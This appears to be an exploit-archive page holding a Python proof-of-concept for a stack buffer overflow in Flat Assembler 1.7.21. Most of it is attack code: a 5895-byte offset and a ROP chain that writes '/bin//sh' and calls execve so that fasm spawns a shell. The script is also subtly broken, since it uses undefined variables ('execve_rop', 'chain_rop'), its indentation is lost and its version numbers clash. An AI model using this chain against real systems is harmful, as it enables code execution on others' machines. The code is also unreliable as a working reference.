Flat Assembler 1.7.21 - Buffer Overflow

2017-06-28 19:05:03

#!/usr/bin/python
# Developed using Exploit Pack - http://exploitpack.com - <<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="8ee4fdefedede1ceebf6fee2e1e7fafeefede5a0ede1e3">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>>
#
# Exploit Author: Juan Sacco <<a class="__cf_email__" href="/cdn-cgi/l/email-protection" data-cfemail="fb918e9a95d5889a989894bb908b95d5989496">[email protected]</a><script data-cfhash='f9e31' type="text/javascript">/* <![CDATA[ */!function(t,e,r,n,c,a,p){try{t=document.currentScript||function(){for(t=document.getElementsByTagName('script'),e=t.length;e--;)if(t[e].getAttribute('data-cfhash'))return t[e]}();if(t&&(c=t.previousSibling)){p=t.parentNode;if(a=c.getAttribute('data-cfemail')){for(e='',r='0x'+a.substr(0,2)|0,n=2;a.length-n;n+=2)e+='%'+('0'+('0x'+a.substr(n,2)^r).toString(16)).slice(-2);p.replaceChild(document.createTextNode(decodeURIComponent(e)),c)}p.removeChild(t)}}catch(u){}}()/* ]]> */</script>> at KPN Red Team - http://www.kpn.com
# Tested on: GNU/Linux - Kali 2017.1 Release
#
# What is FASM?
# Flat assembler is a fast, self-compilable assembly language compiler for the
# x86 and x86-64 architecture processors, which does multiple passes to optimize
# the size of generated machine code.
#
# Impact: FASM ( Flat Assembler ) 1.7.21 and prior is prone to a stack-based buffer overflow
# vulnerability because the application fails to perform adequate
# boundary-checks on user-supplied input.
#
# An attacker could exploit this vulnerability to execute arbitrary code in the
# context of the application. Failed exploit attempts will result in a
# denial-of-service condition.
#
# Version: 1.71.21
# Architecture: i386
# Download here: http://ba.mirror.garr.it/mirrors/slitaz/sources/packages-cooking/f/fasm-1.71.21.tgz
#
# Vendor homepage: http://www.flatassembler.net`
#
import os,subprocess
from struct import pack

# EIP found at offset: 5895
# Entry point: 0x8048d68
# Canary: off
# Fortify: off
# NX: Enabled
# PIE: off
# Relro: Partial

junk = 'A' * 5895
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b060) # @ .data
execve_rop += pack('<I', 0x08050eb2) # pop eax ; ret
execve_rop += '/bin'
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b064) # @ .data + 4
execve_rop += pack('<I', 0x08050eb2) # pop eax ; ret
execve_rop += '//sh'
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
execve_rop += pack('<I', 0x0804891b) # xor eax, eax ; ret
execve_rop += pack('<I', 0x080b1bcd) # mov dword ptr [edx], eax ; ret
execve_rop += pack('<I', 0x080481e1) # pop ebx ; ret
execve_rop += pack('<I', 0x0810b060) # @ .data
execve_rop += pack('<I', 0x0804a250) # pop ecx ; ret
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
execve_rop += pack('<I', 0x0805ad4f) # pop edx ; ret
execve_rop += pack('<I', 0x0810b068) # @ .data + 8
execve_rop += pack('<I', 0x0804891b) # xor eax, eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x080b408f) # inc eax ; ret
execve_rop += pack('<I', 0x0805ff3d) # int 0x80
buffer = junk + chain_rop

try:
print("[*] FASM 1.7.21 - Buffer Overflow + ROP by Juan Sacco")
print("[*] Please wait.. running")
subprocess.call(["fasm", buffer])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "[*] FASM not found!"
else:
print "[*] Error executing exploit"
raise

Fixes

No fixes

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